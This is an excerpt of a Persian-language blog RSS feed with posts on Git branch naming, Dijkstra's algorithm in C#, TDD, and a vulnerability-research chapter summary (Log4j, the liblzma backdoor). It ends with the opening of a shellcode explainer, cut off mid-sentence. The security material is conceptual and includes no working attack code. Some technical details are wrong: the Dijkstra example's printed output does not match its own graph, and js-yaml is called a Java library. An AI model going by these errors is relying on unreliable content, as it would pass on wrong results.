                <link>https://virgool.io/@LoopLunatic/%D8%A8%D9%87%D8%AA%D8%B1%DB%8C%D9%86-%D8%B1%D9%88%D8%B4-%D9%87%D8%A7%DB%8C-%D9%86%D8%A7%D9%85-%DA%AF%D8%B0%D8%A7%D8%B1%DB%8C-%D8%B4%D8%A7%D8%AE%D9%87-%D9%87%D8%A7-%D8%AF%D8%B1-git-%D8%A8%D8%B1%D8%A7%DB%8C-%D9%BE%DB%8C%D8%A7%D8%AF%D9%87-%D8%B3%D8%A7%D8%B2%DB%8C-%D9%85%D9%88%D9%81%D9%82-cicd-igtc2uamfe5h</link>
                <description>در دنیای توسعه نرم‌افزار، استفاده از سیستم‌های کنترل نسخه مانند Git و پیاده‌سازی خطوط لوله CI/CD (ادغام و تحویل پیوسته) به یک استاندارد تبدیل‌شده است. یکی از عناصر کلیدی که تأثیر مستقیمی بر موفقیت CI/CD دارد، نام‌گذاری صحیح شاخه‌ها (Branch Naming) در Git است. در این مقاله، به بررسی بهترین روش‌های نام‌گذاری شاخه‌ها می‌پردازیم که به تیم‌ها کمک می‌کند فرآیندهای خودکارسازی را به‌طور مؤثرتری مدیریت کنند.اهمیت نام‌گذاری شاخه‌ها در CI/CDنام‌گذاری شاخه‌ها نه‌تنها سازمان‌دهی کد را بهبود می‌بخشد، بلکه بر نحوه اجرای خودکار تست‌ها، ساخت و استقرار نرم‌افزار تأثیر می‌گذارد. یک ساختار نام‌گذاری منظم به ابزارهای CI/CD مانند GitHub Actions، GitLab CI/CD یا Jenkins کمک می‌کند تا شاخه‌ها را شناسایی کرده و مراحل مناسب را بر اساس نوع شاخه اجرا کنند.بهترین روش‌های نام‌گذاری شاخه‌ها۱. استفاده از پیشوندهای معنادارپیشوندهای استاندارد به شناسایی سریع هدف شاخه کمک می‌کنند. برخی از رایج‌ترین پیشوندها عبارت‌اند از:شاخه feature/ : برای توسعه ویژگی‌های جدید (مثال feature/user-authentication).شاخه bugfix/ یا fix/ : برای رفع اشکالات (مثال bugfix/login-error).شاخه hotfix/  : برای رفع مشکلات بحرانی که نیاز به اصلاح فوری دارند. شاخه release/  : برای آماده‌سازی نسخه‌های جدید (مثالrelease/v1.2.0).شاخه docs/  : برای بروزرسانی مستندات.شاخه refactor/ : برای بازنویسی کد بدون تغییر رفتار.۲. نام‌گذاری توصیفی و مختصر  از نام‌های کلی مانند &#x60;patch-1&#x60; یا &#x60;test-branch&#x60; اجتناب کنید.  از کلمات جداکننده مانند خط تیره (&#x60;-&#x60;) یا زیرخط (&#x60;_&#x60;) برای خوانایی بهتر استفاده کنید.مثال: &#x60;feature/checkout-process-improvement&#x60;.۳. استفاده از شماره‌گذاری مسئله (Issue Tracking)  اگر از سیستم‌های ردیابی مسئله مانند Jira یا GitHub Issues استفاده می‌کنید، می‌توانید شماره مسئله را در نام شاخه قرار دهید:  مثال: &#x60;feature/JIRA-123-add-payment-gateway&#x60;  ۴. خودداری از کاراکترهای خاص  از کاراکترهایی مانند فاصله، &#x60;@&#x60;، &#x60;#&#x60; و &#x60;*&#x60; که ممکن است در ابزارهای مختلف مشکلاتی ایجاد کنند، پرهیز کنید.  ۵. تطابق با قوانین تیم  مهم است که تمام اعضای تیم از یک قرارداد نام‌گذاری پیروی کنند تا سازگاری حفظ شود. این موضوع در CI/CD بسیار حیاتی است، زیرا برخی از قوانین ممکن است بر اساس نام شاخه، عملیات خاصی را فعال کنند.  تأثیر نام‌گذاری شاخه‌ها بر CI/CD  اجرای خودکار تست‌ها: می‌توانید پیکربندی کنید تا تست‌های واحد فقط روی شاخه‌های &#x60;feature/&#x60; اجرا شوند.استقرار خودکار: شاخه‌های &#x60;release/&#x60; می‌توانند به‌صورت خودکار در محیط staging استقرار یابند.  مسدودسازی ادغام: می‌توان شاخه‌های بدون نام استاندارد را از ادغام در &#x60;main&#x60; مسدود کرد.  نتیجه‌گیری  نام‌گذاری صحیح شاخه‌ها نه‌تنها همکاری بین توسعه‌دهندگان را بهبود می‌بخشد، بلکه پایه‌ای محکم برای پیاده‌سازی مؤثر CI/CD فراهم می‌کند. با رعایت اصول ساده اما مؤثر مانند استفاده از پیشوندهای استاندارد و نام‌گذاری توصیفی، می‌توانید از بسیاری از مشکلات در فرآیندهای خودکار جلوگیری کنید. </description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Wed, 07 May 2025 10:19:19 +0330</pubDate>
            </item>
                    <item>
                <title>الگوریتم دایکسترا (Dijkstra’s Algorithm)</title>
                <link>https://virgool.io/@LoopLunatic/%D8%A7%D9%84%DA%AF%D9%88%D8%B1%DB%8C%D8%AA%D9%85-%D8%AF%D8%A7%DB%8C%DA%A9%D8%B3%D8%AA%D8%B1%D8%A7-dijkstras-algorithm-cxagg90nkcv0</link>
                <description>الگوریتم دایکسترا یکی از مشهورترین الگوریتم‌ها در حوزه‌ی نظریه گراف‌ها و مسیر‌یابی است که برای یافتن کوتاه‌ترین مسیر از یک رأس به سایر رأس‌های یک گراف وزن‌دار بدون وزن‌های منفی به کار می‌رود. این الگوریتم توسط ادسخر دایکسترا (Edsger Dijkstra) در سال 1956 ارائه شد و از آن زمان تاکنون در حوزه‌های مختلفی ازجمله شبکه‌های کامپیوتری، مسیریابی GPS، طراحی مدارهای الکترونیکی و بسیاری از مسائل مرتبط با مسیر‌یابی به کار گرفته‌شده است.لگوریتم دایکسترا برای یافتن کوتاه‌ترین مسیر در یک گراف وزن‌دار جهت‌دار یا بدون جهت استفاده می‌شود. فرض کنید گرافی به‌صورت G=(V,E)G=(V,E) داده‌شده که: مجموعه‌ای از رأس‌ها (گره‌ها) است.مجموعه‌ای از یال‌ها است که دو رأس را به هم متصل می‌کنند. هر یال وزنی (cost) دارد که بیانگر هزینه‌ی حرکت از یک رأس به رأس دیگر است.مراحل الگوریتم۱. مقدار فاصله‌ی هر رأس از مبدأ را ∞ در نظر می‌گیریم، به‌جز رأس مبدأ که مقدار آن ۰ است.۲. یک مجموعه‌ی بازدید نشده (Unvisited Nodes) ایجاد می‌کنیم که شامل تمامی رأس‌ها است.3. در هر گام، رأسی را که کمترین مقدار فاصله را دارد، انتخاب کرده و آن را قطعی (Visited) می‌کنیم.4. تمامی همسایگان این رأس را بررسی کرده و مقدار فاصله‌ی آن‌ها را به‌روزرسانی می‌کنیم.5. این روند را تکرار می‌کنیم تا زمانی که تمامی گره‌ها بررسی شوند یا به هدف موردنظر برسیم.کاربردهای الگوریتم دایکستراالگوریتم دایکسترا در بسیاری از زمینه‌ها استفاده می‌شود، ازجمله:    مسیریابی در شبکه‌های کامپیوتری: برای یافتن کوتاه‌ترین مسیر بین دو دستگاه در یک شبکه.    سیستم‌های ناوبری GPS: برای یافتن کوتاه‌ترین مسیر بین دو مکان جغرافیایی.    بازی‌های کامپیوتری: برای حرکت هوشمند شخصیت‌ها در محیط‌های مجازی.    زمان‌بندی پروازها: برای یافتن کوتاه‌ترین مسیر بین دو فرودگاه.پیاده‌سازی الگوریتم دایکسترا در سی شارپدر زیر یک پیاده‌سازی ساده از الگوریتم دایکسترا به زبان سی شارپ ارائه‌شده استالگوریتم دایکسترا یکی از مشهورترین الگوریتم‌ها در حوزه‌ی نظریه گراف‌ها و مسیر‌یابی است که برای یافتن کوتاه‌ترین مسیر از یک رأس به سایر رأس‌های یک گراف وزن‌دار بدون وزن‌های منفی به کار می‌رود. این الگوریتم توسط ادسخر دایکسترا (Edsger Dijkstra) در سال 1956 ارائه شد و از آن زمان تاکنون در حوزه‌های مختلفی ازجمله شبکه‌های کامپیوتری، مسیریابی GPS، طراحی مدارهای الکترونیکی و بسیاری از مسائل مرتبط با مسیر‌یابی به کار گرفته‌شده است.۱. نحوه‌ی عملکرد الگوریتم دایکسترا۱.۱. تعریف مسئلهالگوریتم دایکسترا برای یافتن کوتاه‌ترین مسیر در یک گراف وزن‌دار جهت‌دار یا بدون جهت استفاده می‌شود. فرض کنید گرافی به‌صورت G=(V,E)G=(V,E) داده‌شده که:    VV مجموعه‌ای از رأس‌ها (گره‌ها) است.    EE مجموعه‌ای از یال‌ها است که دو رأس را به هم متصل می‌کنند.    هر یال وزنی (cost) دارد که بیانگر هزینه‌ی حرکت از یک رأس به رأس دیگر است.۱.۲. مراحل الگوریتم۱. مقدار فاصله‌ی هر رأس از مبدأ را ∞ در نظر می‌گیریم، به‌جز رأس مبدأ که مقدار آن ۰ است.۲. یک مجموعه‌ی بازدید نشده (Unvisited Nodes) ایجاد می‌کنیم که شامل تمامی رأس‌ها است.3. در هر گام، رأسی را که کمترین مقدار فاصله را دارد، انتخاب کرده و آن را قطعی (Visited) می‌کنیم.4. تمامی همسایگان این رأس را بررسی کرده و مقدار فاصله‌ی آن‌ها را به‌روزرسانی می‌کنیم.5. این روند را تکرار می‌کنیم تا زمانی که تمامی گره‌ها بررسی شوند یا به هدف موردنظر برسیم.کاربردهای الگوریتم دایکستراالگوریتم دایکسترا در بسیاری از زمینه‌ها استفاده می‌شود، ازجمله:    مسیریابی در شبکه‌های کامپیوتری: برای یافتن کوتاه‌ترین مسیر بین دو دستگاه در یک شبکه.    سیستم‌های ناوبری GPS: برای یافتن کوتاه‌ترین مسیر بین دو مکان جغرافیایی.    بازی‌های کامپیوتری: برای حرکت هوشمند شخصیت‌ها در محیط‌های مجازی.    زمان‌بندی پروازها: برای یافتن کوتاه‌ترین مسیر بین دو فرودگاه.پیاده‌سازی الگوریتم دایکسترا در سی شارپدر زیر یک پیاده‌سازی ساده از الگوریتم دایکسترا به زبان سی شارپ ارائه‌شده است.using System;using System.Collections.Generic;class Dijkstra{    private static int V = 6; // تعداد گره‌ها    private int MinDistance(int[] dist, bool[] sptSet)    {        int min = int.MaxValue, minIndex = -1;        for (int v = 0; v &lt; V; v++)            if (sptSet[v] == false &amp;&amp; dist[v] &lt;= min)            {                min = dist[v];                minIndex = v;            }        return minIndex;    }    private void PrintSolution(int[] dist)    {        Console.WriteLine(&quot;گره \t فاصله از گره شروع&quot;);        for (int i = 0; i &lt; V; i++)            Console.WriteLine(i + &quot; \t\t &quot; + dist[i]);    }    public void DijkstraAlgorithm(int[,] graph, int src)    {        int[] dist = new int[V]; // آرایه برای ذخیره کوتاه‌ترین فاصله از گره شروع        bool[] sptSet = new bool[V]; // آرایه برای مشخص کردن گره‌هایی که فاصله‌شان نهایی شده است        for (int i = 0; i &lt; V; i++)        {            dist[i] = int.MaxValue;            sptSet[i] = false;        }        dist[src] = 0;        for (int count = 0; count &lt; V - 1; count++)        {            int u = MinDistance(dist, sptSet);            sptSet[u] = true;            for (int v = 0; v &lt; V; v++)                if (!sptSet[v] &amp;&amp; graph[u, v] != 0 &amp;&amp; dist[u] != int.MaxValue &amp;&amp; dist[u] + graph[u, v] &lt; dist[v])                    dist[v] = dist[u] + graph[u, v];        }        PrintSolution(dist);    }    public static void Main()    {        int[,] graph = new int[,] {            { 0, 4, 0, 0, 0, 0 },            { 4, 0, 8, 0, 0, 0 },            { 0, 8, 0, 7, 0, 4 },            { 0, 0, 7, 0, 9, 14 },            { 0, 0, 0, 9, 0, 10 },            { 0, 0, 4, 14, 10, 0 }        };        Dijkstra dijkstra = new Dijkstra();        dijkstra.DijkstraAlgorithm(graph, 0);    }}توضیح کدتابع  MinDistance: این تابع گره‌ای را که کمترین فاصله از گره شروع دارد و هنوز بازدید نشده است، پیدا می‌کند.تابع PrintSolution: این تابع فاصله‌های نهایی از گره شروع به هر گره دیگر را چاپ می‌کند.تابع DijkstraAlgorithm: این تابع الگوریتم دایکسترا را اجرا می‌کند. ابتدا مقادیر اولیه را تنظیم می‌کند، سپس در هر مرحله گره با کمترین فاصله را انتخاب کرده و فاصله‌های همسایه‌های آن را به‌روزرسانی می‌کند.مثال حل‌شدهفرض کنید گراف زیر را داریم:     (0)    / | \  4/  |  \0  /   |   \(1)--(2)--(3) |   / \   | | 8/   \7 | | /     \ |(4)-------(5)    9در این گراف، گره شروع (0) است. الگوریتم دایکسترا فاصله‌های کوتاه‌ترین مسیر از گره (0) به سایر گره‌ها را محاسبه می‌کند.خروجی برنامه به‌صورت زیر خواهد بودگره     فاصله از گره شروع0        01        42        123        194        215        16این خروجی نشان می‌دهد که کوتاه‌ترین مسیر از گره (0) به گره (5) با فاصله 16 است.نتیجه‌گیریالگوریتم دایکسترا یک ابزار قدرتمند برای یافتن کوتاه‌ترین مسیر در گراف‌های وزن‌دار است. باوجود سادگی، این الگوریتم در بسیاری از کاربردهای عملی استفاده می‌شود و درک آن برای هر دانشجوی علوم کامپیوتر یا مهندسی نرم‌افزار ضروری است. پیاده‌سازی این الگوریتم در زبان‌های برنامه‌نویسی مانند سی شارپ نیز به درک بهتر مفاهیم آن کمک می‌کند.منابع پیشنهادی برای مطالعه بیشترIntroduction to Algorithms - CLRSGraph Theory and Its Applications - Jonathan GrossCoursera: Algorithms Specialization - Stanford University</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Mon, 21 Apr 2025 10:42:11 +0330</pubDate>
            </item>
                    <item>
                <title>توسعه مبتنی بر تست (TDD)</title>
                <link>https://virgool.io/@LoopLunatic/%D8%AA%D9%88%D8%B3%D8%B9%D9%87-%D9%85%D8%A8%D8%AA%D9%86%DB%8C-%D8%A8%D8%B1-%D8%AA%D8%B3%D8%AA-tdd-fyc2rbat60c2</link>
                <description>توسعه مبتنی بر تست (Test-Driven Development یا TDD) یکی از روش‌های مدرن و محبوب در فرآیند توسعه نرم‌افزار است. این روش که ابتدا توسط کنت بک معرفی شد، تمرکز خود را بر نوشتن تست‌های خودکار پیش از پیاده‌سازی کد قرار می‌دهد. با استفاده از TDD، توسعه‌دهندگان قادر خواهند بود کدهایی باکیفیت بالاتر، باگ کمتر و قابل نگهداری‌تر تولید کنند.اصول و مراحل TDDروش TDD بر اساس یک چرخه سه مرحله‌ای به نام چرخه قرمز-سبز-بازسازی کار می‌کند:    قرمز (Red):        در این مرحله، تستی نوشته می‌شود که برای یک ویژگی جدید است و قطعاً شکست می‌خورد، زیرا هنوز کدی برای پیاده‌سازی آن وجود ندارد.        هدف این است که نیازمندی‌ها به‌صورت دقیق مشخص شوند.    سبز (Green):        کمترین مقدار کدی که برای عبور تست لازم است، نوشته می‌شود. تمرکز در این مرحله بر عملکرد است، نه بهینه بودن کد.    بازسازی (Refactor):        کدهای نوشته‌شده برای بهبود ساختار، خوانایی و بهره‌وری بازسازی می‌شوند، بدون اینکه عملکرد کد تغییر کند. تمام تست‌ها باید همچنان موفق باشند.این چرخه تا زمانی تکرار می‌شود که تمام نیازمندی‌ها پوشش داده شوند.موارد استفاده TDD    توسعه نرم‌افزارهای پیچیده:روش TDD برای پروژه‌هایی که شامل منطق تجاری پیچیده یا تعداد زیادی از ویژگی‌ها هستند بسیار مفید است.    ایجاد کدهای قابل تست:روش TDD به توسعه‌دهندگان کمک می‌کند کدهایی طراحی کنند که به‌راحتی قابل تست باشند.    توسعه مبتنی بر نیازمندی‌های تغییرپذیر:در پروژه‌هایی که نیازمندی‌ها مرتب تغییر می‌کنند، TDD کمک می‌کند تا کدهای قدیمی با اطمینان به روز شوند.    ایجاد نرم‌افزارهای حساس به کیفیت:پروژه‌هایی که به سطح بالایی از قابلیت اطمینان نیاز دارند، مانند سیستم‌های پزشکی یا مالی، از TDD بهره‌مند می‌شوند.نقاط قوت TDDکیفیت بالاتر کد:روش TDD باعث تولید کدهایی می‌شود که تست‌شده، قابل نگهداری و خوانا هستند.پیشگیری از باگ‌ها:نوشتن تست پیش از کد، بسیاری از باگ‌ها را از ابتدا حذف می‌کند.طراحی بهتر:روش TDD توسعه‌دهندگان را مجبور می‌کند کد را به‌صورت ماژولار طراحی کنند که به توسعه و نگهداری کمک می‌کند.پاسخ سریع‌تر به تغییرات:باوجود تست‌های خودکار، توسعه‌دهندگان می‌توانند بدون نگرانی از خراب شدن عملکرد قبلی، تغییرات را اعمال کنند.نقاط ضعف TDD    زمان‌بر بودن اولیه:نوشتن تست پیش از کد می‌تواند زمان بیشتری نسبت به روش‌های معمولی بگیرد.    نیاز به تجربه:توسعه‌دهندگانی که با TDD آشنا نیستند، ممکن است در ابتدای کار با چالش‌هایی مواجه شوند.    پیچیدگی در پروژه‌های بزرگ:مدیریت تست‌ها در پروژه‌های بزرگ و پیچیده دشوار است.    وابستگی به ابزارها:استفاده از ابزارهای مناسب برای مدیریت تست‌ها ضروری است.مثال‌های عملی با زبان سی‌شارپمثال 1: جمع دو عددفرض کنید یک متد ساده برای جمع دو عدد نیاز داریم.    نوشتن تست (Red):using NUnit.Framework;
[TestFixture]
public class CalculatorTests
{
    [Test]
    public void Add_TwoNumbers_ReturnsSum()
    {
        var calculator = new Calculator();
        var result = calculator.Add(2, 3);
        Assert.AreEqual(5, result);
    }
}    نوشتن کد (Green):public class Calculator
{
    public int Add(int a, int b)
    {
        return a + b; // کمترین مقدار کد برای عبور از تست
    }
}    بازسازی (Refactor): در این مثال نیاز به بازسازی خاصی وجود ندارد.مثال 2: اعتبارسنجی یک ایمیلفرض کنید متدی نیاز داریم که بررسی کند آیا یک رشته یک ایمیل معتبر است یا خیر.    نوشتن تست (Red):[TestFixture]
public class EmailValidatorTests
{
    [Test]
    public void IsValidEmail_ValidEmail_ReturnsTrue()
    {
        var validator = new EmailValidator();
        var result = validator.IsValidEmail(&amp;quotexample@example.com&amp;quot);
        Assert.IsTrue(result);
    }

    [Test]
    public void IsValidEmail_InvalidEmail_ReturnsFalse()
    {
        var validator = new EmailValidator();
        var result = validator.IsValidEmail(&amp;quotinvalid-email&amp;quot);
        Assert.IsFalse(result);
    }
}    نوشتن کد (Green):using System.Text.RegularExpressions;

public class EmailValidator
{
    public bool IsValidEmail(string email)
    {
        var emailPattern = @&amp;quot^[^@\\s]+@[^@\\s]+\\.[^@\\s]+$&amp;quot
        return Regex.IsMatch(email, emailPattern);
    }
}    بازسازی (Refactor): در صورت نیاز، می‌توان الگو یا ساختار کد را بهبود داد.ابزارها و فریم‌ورک‌های محبوب برای TDD    NUnit:        یکی از محبوب‌ترین فریم‌ورک‌های تست برای سی‌شارپ است.    xUnit:        سبک و مدرن، با تمرکز بر تست‌های واحد.    MSTest:        فریم‌ورک رسمی مایکروسافت برای تست.    Mocking Libraries:        کتابخانه‌هایی مانند Moq برای ایجاد شبیه‌سازی اشیاء و رفتارها.نتیجه‌گیریتوسعه مبتنی بر تست (TDD) روشی قدرتمند برای تولید نرم‌افزارهای باکیفیت است که علاوه بر کاهش باگ‌ها، به طراحی بهتر و انعطاف‌پذیری بیشتر کمک می‌کند. هرچند که ممکن است یادگیری و پیاده‌سازی آن در ابتدا زمان‌بر باشد، اما مزایای بلندمدت آن بسیار ارزشمند است.درنهایت، استفاده مؤثر از TDD نیازمند آشنایی با ابزارهای مناسب و تمرین مداوم است تا بتوان از تمامی مزایای آن بهره‌مند شد.</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 23 Feb 2025 11:01:43 +0330</pubDate>
            </item>
                    <item>
                <title>بررسی کد در کتاب day zero تا ZeroDay</title>
                <link>https://virgool.io/@LoopLunatic/%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%DA%A9%D8%AF-%D8%AF%D8%B1-%DA%A9%D8%AA%D8%A7%D8%A8-day-zero-%D8%AA%D8%A7-zeroday-hhkukoev8um2</link>
                <description>بخش بررسی کد (Code Review) از کتاب From day zero To ZeroDay به اهمیت بررسی کدهای منبع برای کشف آسیب‌پذیری‌ها و درک نحوه عملکرد نرم‌افزار اشاره می‌کند. این فرآیند به محققان امنیتی کمک می‌کند که آسیب‌پذیری‌ها را قبل از اینکه مهاجمان از آن‌ها سوءاستفاده کنند، کشف و برطرف نمایند. در ادامه، این بخش را با جزئیات بیشتری توضیح می‌دهم و با ذکر مثال‌هایی آن را روشن‌تر می‌کنم.۱. بررسی کد چیست و چرا اهمیت دارد؟بررسی کد به فرآیند تجزیه‌وتحلیل کد منبع برای شناسایی آسیب‌پذیری‌های امنیتی و نقص‌های منطقی گفته می‌شود. این روش یکی از اصلی‌ترین ابزارهای محققان امنیتی برای کشف ضعف‌های امنیتی است. برخلاف مهندسی معکوس یا فازینگ که روی فایل‌های باینری تمرکز دارند، بررسی کد از همان ابتدا به منبع اصلی مشکل نگاه می‌کند.چرا بررسی کد اهمیت دارد؟    بسیاری از نرم‌افزارهای امروزی از کتابخانه‌ها و قطعات کد منبع باز استفاده می‌کنند.    ممکن است در این کتابخانه‌ها آسیب‌پذیری‌های قدیمی وجود داشته باشد که هنوز رفع نشده‌اند.    برخی از آسیب‌پذیری‌ها ممکن است در پروژه‌های فورک شده (انشعاب یافته) اصلاح شده باشند، اما در نسخه‌های دیگر باقی‌مانده باشند.۲. مثال‌هایی از اهمیت بررسی کدمثال ۱: آسیب‌پذیری Log4j (CVE-2021-44228)در سال ۲۰۲۱، یک آسیب‌پذیری بحرانی در Apache Log4j کشف شد. این کتابخانه که برای لاگ‌گیری در زبان جاوا استفاده می‌شود، به مهاجمان اجازه می‌داد اجرای کد از راه دور (RCE) را تنها با ارسال یک رشته متنی خاص فعال کنند.این آسیب‌پذیری ناشی از قابلیت ناامن JNDI Lookup در لاگ‌گیری بود. این قابلیت از سال ۲۰۱۳ در کد منبع Log4j وجود داشت، اما هیچ‌کس متوجه آن نشده بود تا زمانی که مهاجمان از آن سوءاستفاده کردند.چرا این آسیب‌پذیری این‌قدر خطرناک بود؟    این کتابخانه در هزاران پروژه ازجمله Apache Struts، Elasticsearch، Minecraft و غیره استفاده می‌شد.    سازمان‌ها و شرکت‌های بزرگی به‌سرعت مجبور به به‌روزرسانی شدند، چراکه این آسیب‌پذیری به مهاجمان اجازه می‌داد که کنترل کامل سیستم‌ها را به دست بگیرند.اگر بررسی کد زودتر انجام می‌شد، این آسیب‌پذیری زودتر کشف و رفع می‌شد!مثال ۲: آسیب‌پذیری در Apache OpenOfficeیک محقق امنیتی در سال ۲۰۲۱ متوجه شد که Apache OpenOffice حاوی یک آسیب‌پذیری اجرای کد از راه دور است که قبلاً در LibreOffice (یک پروژه منشعب شده از OpenOffice) اصلاح شده بود.    مشکل در فرآیند پردازش فایل‌های dBASE بود.    این آسیب‌پذیری باعث می‌شد که یک فایل مخرب بتواند کد دلخواه را اجرا کند.مشکل اصلی:    اگر محققان کد OpenOffice را بررسی کرده بودند، متوجه می‌شدند که این مشکل در LibreOffice اصلاح شده اما در OpenOffice باقی‌مانده است.    این نشان می‌دهد که آسیب‌پذیری‌های یک پروژه می‌توانند روی پروژه‌های دیگر نیز تأثیر بگذارند.مثال ۳: درب پشتی (Backdoor) در کتابخانه liblzmaدر سال ۲۰۲۴، یک درب پشتی خطرناک در کتابخانه liblzma کشف شد که به مهاجمان اجازه می‌داد به سرورهای دارای SSH دسترسی بگیرند.کتابخانه  liblzma بخشی از توزیع‌های اصلی لینوکس مانند Debian و Fedora است.    این آسیب‌پذیری به مهاجمان اجازه می‌داد بدون نیاز به رمز عبور، به سیستم‌های قربانیان نفوذ کنند.    بررسی کد منبع نشان داد که این درب پشتی توسط یک شخص خاص به‌صورت عمدی اضافه‌شده است.اهمیت بررسی کد:    بسیاری از سازمان‌ها و کاربران تصور می‌کنند که کتابخانه‌های متن‌باز امن هستند، اما بررسی کد نشان می‌دهد که حتی در پروژه‌های معتبر هم ممکن است کدهای مخرب اضافه شوند.۳. بررسی وابستگی‌های نرم‌افزارینرم‌افزارهای امروزی به‌شدت به کتابخانه‌های متن‌باز متکی هستند. این وابستگی‌ها می‌توانند باعث شوند که یک آسیب‌پذیری ساده، کل اکوسیستم را تحت تأثیر قرار دهد.مثال:بسیاری از برنامه‌های جاوا از کتابخانه js-yaml برای پردازش فایل‌های YAML استفاده می‌کنند. این کتابخانه تنها ۳۳ فایل دارد، اما به دلیل استفاده گسترده در پروژه‌های دیگر، هرماه ۳۲ میلیون بار دانلود می‌شود!نتیجه: اگر یک آسیب‌پذیری در js-yaml کشف شود، هزاران پروژه دیگر نیز تحت تأثیر قرار می‌گیرند.۴. حمله به وابستگی‌های نرم‌افزاری به‌جای کدهای مبهممحققان امنیتی به‌جای نفوذ مستقیم به نرم‌افزارهای پیچیده، می‌توانند وابستگی‌های آن‌ها را هدف قرار دهند.مثال:یک محقق توانست از طریق آسیب‌پذیری در Netatalk، کنترل چندین دستگاه NAS را در اختیار بگیرد.کتابخانه  Netatalk یک سرور متن‌باز Apple Filing Protocol (AFP) است.    این محقق به‌جای حمله مستقیم به نرم‌افزار NAS، به یکی از کتابخانه‌های وابسته آن حمله کرد.نتیجه: بررسی کد کتابخانه‌های متن‌باز می‌تواند راهی ساده‌تر و مؤثرتر برای کشف آسیب‌پذیری‌ها باشد.۵. چرا بررسی کد هنوز اهمیت دارد؟با اینکه امروزه ابزارهای خودکار مانند CodeQL برای تحلیل کد استفاده می‌شوند، بررسی دستی کد همچنان ضروری است.    بسیاری از آسیب‌پذیری‌ها از طریق ابزارهای خودکار کشف نمی‌شوند.    برخی از مشکلات امنیتی به دلیل پیچیدگی کد یا شرایط خاص اجرای برنامه از چشم تحلیل‌گرهای خودکار پنهان می‌مانند.    حملات مهندسی اجتماعی ممکن است باعث اضافه شدن کدهای مخرب به پروژه‌های متن‌باز شوند.۶. چگونه یک پروژه مناسب برای بررسی کد انتخاب کنیم؟برای انتخاب یک پروژه مناسب جهت بررسی کد، می‌توان از سه معیار زیر استفاده کرد:    آشنایی (Familiarity)        پروژه‌هایی را انتخاب کنید که زبان برنامه‌نویسی آن‌ها را بلد هستید.        بهتر است پروژه‌هایی را بررسی کنید که قبلاً درباره آن‌ها مطالعه کرده‌اید.    دسترسی (Availability)        آیا سورس کد در GitHub یا SourceForge موجود است؟        آیا می‌توان پروژه را به‌راحتی روی یک سیستم تست اجرا کرد؟    تأثیر (Impact)        آیا این پروژه در محصولات و سرویس‌های مهم استفاده می‌شود؟        آیا این آسیب‌پذیری می‌تواند میلیون‌ها کاربر را تحت تأثیر قرار دهد؟جمع‌بندیبخش بررسی کد (Code Review) تأکید دارد که برای کشف آسیب‌پذیری‌های امنیتی: ✅ باید به بررسی کدهای منبع باز و وابستگی‌های نرم‌افزاری توجه شود.✅ بررسی کد می‌تواند آسیب‌پذیری‌هایی را کشف کند که سال‌ها بدون توجه باقی‌مانده‌اند.✅ حمله به کتابخانه‌های وابسته گاهی از حمله مستقیم به نرم‌افزارها آسان‌تر است.✅ ابزارهای خودکار نمی‌توانند جایگزین بررسی دستی کد شوند.با استفاده از این روش‌ها، محققان امنیتی می‌توانند قبل از اینکه مهاجمان از آسیب‌پذیری‌ها سوءاستفاده کنند، آن‌ها را شناسایی و اصلاح کنند. 🚀</description>
                <category>Loop Lunatic</category>
                <author>Loop Lunatic</author>
                <pubDate>Sun, 16 Feb 2025 13:08:16 +0330</pubDate>
            </item>
                    <item>
                <title>رمزگشایی از Shellcode: بررسی ویژگی‌ها، تولید و کاربرد</title>
                <link>https://virgool.io/@LoopLunatic/%D8%B1%D9%85%D8%B2%DA%AF%D8%B4%D8%A7%DB%8C%DB%8C-%D8%A7%D8%B2-shellcode-%D8%A8%D8%B1%D8%B1%D8%B3%DB%8C-%D9%88%DB%8C%DA%98%DA%AF%DB%8C-%D9%87%D8%A7-%D8%AA%D9%88%D9%84%DB%8C%D8%AF-%D9%88-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%AF-h9kg2xqz307n</link>
                <description>در حوزه امنیت سایبری و توسعه اکسپلویت، کد پوسته به‌عنوان یک مؤلفه اساسی بارهای مخرب و ابزارهای تست نفوذ نقش مهمی ایفا می‌کند. علیرغم ماهیت اغلب مخفی آن، درک پوسته کد برای متخصصان امنیتی و توسعه‌دهندگان به‌طور یکسان ضروری است. در این مقاله، پیچیدگی‌های کد پوسته را بررسی می‌کنیم، ویژگی‌های آن، نحوه تولید، اجرا و کاربردهای عملی آن در حوزه امنیت سایبری را بررسی می‌کنیم.کد پوسته یا Shellcode چیست؟کد پوسته یا Shellcode به قطعه کوچکی از کد ماشینی اشاره دارد که معمولاً به زبان اسمبلی نوشته می‌شود و برای تزریق و اجرا توسط یک فرآیند هدف، اغلب به‌عنوان بخشی از یک‌بار بهره‌برداری بزرگ‌تر طراحی‌شده است. هدف اصلی کد پوسته ایجاد یک پوسته (خط فرمان) یا دسترسی غیرمجاز به یک سیستم راه دور است که مهاجم را قادر می‌سازد دستورات دلخواه را اجرا کند یا کنترل ماشین موردنظر را به دست آورد.ویژگی‌های Shellcodeمینیمالیستی و هدفمند(Minimalist and Targeted): Shellcode مختصر و متناسب با وظایف خاص است و بر دستیابی به یک هدف واحد تمرکز دارد، مانند ایجاد یک پوسته یا ایجاد یک درب پشتی. اندازه کوچک و کارایی آن برای بهره‌برداری موفقیت‌آمیز و فرار از تشخیص حیاتی است.مخصوص پلتفرم(Platform-Specific): Shellcode مختص پلتفرم است و باید برای معماری و سیستم‌عامل هدف ایجاد شود. معماری‌های مختلف CPU (مانند x86، ARM) و سیستم‌های عامل (مانند ویندوز، لینوکس) به دلیل تغییرات در مجموعه دستورالعمل‌ها و فراخوانی‌های سیستم، به اجرای کدهای پوسته متفاوتی نیاز دارند.مستقل از موقعیت(Position-Independent): Shellcode اغلب به‌گونه‌ای طراحی می‌شود که مستقل از موقعیت باشد، به این معنی که می‌تواند بدون توجه به مکان آن در حافظه اجرا شود. این انعطاف‌پذیری به پوسته اجازه می‌دهد تا به بخش‌های مختلف فضای حافظه فرآیند تزریق شود و به‌طور قابل‌اعتمادی اجرا شود.بهره‌برداری گرا(Exploitation-Oriented): Shellcode اغلب همراه با آسیب‌پذیری‌های نرم‌افزاری (مانند سرریز شدن بافر، تزریق کد) برای بهره‌برداری از سیستم‌ها و دسترسی غیرمجاز استفاده می‌شود. از این 